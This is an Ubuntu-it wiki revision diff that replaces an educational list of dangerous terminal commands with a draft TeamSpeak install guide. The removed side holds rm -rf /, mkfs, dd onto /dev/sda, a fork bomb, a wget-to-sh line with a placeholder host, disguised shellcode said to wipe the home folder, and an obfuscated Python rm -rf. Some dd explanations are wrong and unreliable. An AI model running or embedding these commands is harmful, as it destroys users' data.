Dimensione: 7078
Commento:
|
Dimensione: 2105
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | |
Linea 5: | Linea 4: |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Indice>> <<Informazioni(rilasci="16.04 17.10"; forum="http://forum.ubuntu-it.org/viewtopic.php?t=xxx")>> |
Linea 10: | Linea 9: |
A scopo puramente didattico e illustrativo, in questa guida raccoglie una lista di comandi potenzialmente pericolosi. | Nella seguente guida viene mostrato come installare '''!TeamSpeak''' in Ubuntu e derivate. |
Linea 12: | Linea 11: |
Si raccomanda di usare particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]]. | '''!TeamSpeak''' è un applicazione in grado di mettere in comunicazione diversi utenti attraverso il protocollo '''VoIP'''. È molto utilizzata come strumento ausiliare ai videogiochi online multiplayer. |
Linea 14: | Linea 13: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide relative al [[AmministrazioneSistema/Terminale|terminale]] e ai [[AmministrazioneSistema/ComandiBase|comandi di base]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || | <<Anchor(install)>> = Installazione del client = |
Linea 16: | Linea 16: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Gli utenti che pubblicheranno questi comandi all'interno del [[http://forum.ubuntu-it.org|forum di supporto di Ubuntu-it]] verranno permanentemente bannati, attraverso il blocco del loro account.''' || | 0. Scaricare da [[http://www.teamspeak.com/downloads.html#client|questa pagina]] il file con estensione `.run` adatto alla propria architettura (32 o 64 bit) sotto la voce '''Linux''', quindi salvarlo nella propria '''Home'''. 0. Cambiare i [[AmministrazioneSistema/PermessiFile|permessi]] al file digitando nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{ chmod u+x TeamSpeak3-Client-linux_[num.vers].run }}} avendo cura di cambiare `TeamSpeak3-Client-linux_[num.vers].run` con il nome effettivo del file precedentemente scaricato (ad esempio `TeamSpeak3-Client-linux_amd64-3.1.6.run`. 0. Eseguire il file nel terminale:{{{ ./TeamSpeak3-Client-linux_[num.vers].run }}} 0. Seguire le istruzioni a schermo (in lingua inglese) per completare l'estrazione e l'installazione. |
Linea 18: | Linea 26: |
= Comandi da terminale = | <<Anchor(server)>> = Installazione del server = |
Linea 20: | Linea 29: |
<<Anchor(rm)>> == Rimozione: rm == |
paragrafo FACOLTATIVO! scrivere qui la procedura |
Linea 23: | Linea 32: |
* I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * }}} |
= Avvio del programma = |
Linea 29: | Linea 34: |
* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. |
scrivere qui la procedura |
Linea 34: | Linea 36: |
* Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* }}} |
= Utilizzo = |
Linea 39: | Linea 38: |
<<Anchor(mkfs)>> == Formattazione: mkfs == |
scrivere qui le funzioni principali e/o linkare il manuale ufficiale del programma. |
Linea 42: | Linea 40: |
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. | = Configurazione = |
Linea 44: | Linea 42: |
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). | == Lingua italiana == |
Linea 46: | Linea 44: |
{{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 }}} |
scrivere qui la procedura |
Linea 52: | Linea 46: |
<<Anchor(dd)>> == Copia di blocchi di dati: dd == |
== Creare icona d'avvio == |
Linea 55: | Linea 48: |
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). | scrivere qui la procedura |
Linea 57: | Linea 50: |
Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati). <<Anchor(fork)>> == Utilizzo sconsiderato di fork() == L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} <<Anchor(script)>> == Esecuzione script == L'esecuzione di script all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere dannosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} <<Anchor(sorgente)>> = Compilazione codice sorgente = È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti attendibili, quali le piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente (ad esempio [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente può sembrare un codice incomprensibile e affatto pericoloso. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. = Archivi Tar = Alcuni archivi [[AmministrazioneSistema/FormatiDiCompressione#tar|tar]] possono provocare spiacevoli inconvenienti e causare danni al sistema. Per ulteriori informazioni consultare [[AmministrazioneSistema/FormatiDiCompressione#tar|questa guida]]. = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. |
'''NB:''' esistono già le guide elencate qui: https://wiki.ubuntu-it.org/AmbienteGrafico/IconeDiAvvio servirsi di link, quando necessario, per riportare procedure già presenti nelle guide. |
Linea 122: | Linea 56: |
* [[http://www.teamspeak.com|Sito ufficiale]] * [[http://forum.teamspeak.com/|Forum di supporto]] |
|
Linea 124: | Linea 60: |
CategoryAmministrazione | ##CategoryInternet CategoryHomepage |
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
Nella seguente guida viene mostrato come installare TeamSpeak in Ubuntu e derivate.
TeamSpeak è un applicazione in grado di mettere in comunicazione diversi utenti attraverso il protocollo VoIP. È molto utilizzata come strumento ausiliare ai videogiochi online multiplayer.
Installazione del client
Scaricare da questa pagina il file con estensione .run adatto alla propria architettura (32 o 64 bit) sotto la voce Linux, quindi salvarlo nella propria Home.
Cambiare i permessi al file digitando nel terminale il seguente comando:
chmod u+x TeamSpeak3-Client-linux_[num.vers].run
avendo cura di cambiare TeamSpeak3-Client-linux_[num.vers].run con il nome effettivo del file precedentemente scaricato (ad esempio TeamSpeak3-Client-linux_amd64-3.1.6.run.
Eseguire il file nel terminale:
./TeamSpeak3-Client-linux_[num.vers].run
- Seguire le istruzioni a schermo (in lingua inglese) per completare l'estrazione e l'installazione.
Installazione del server
paragrafo FACOLTATIVO! scrivere qui la procedura
Avvio del programma
scrivere qui la procedura
Utilizzo
scrivere qui le funzioni principali e/o linkare il manuale ufficiale del programma.
Configurazione
Lingua italiana
scrivere qui la procedura
Creare icona d'avvio
scrivere qui la procedura
NB: esistono già le guide elencate qui: https://wiki.ubuntu-it.org/AmbienteGrafico/IconeDiAvvio servirsi di link, quando necessario, per riportare procedure già presenti nelle guide.
Ulteriori risorse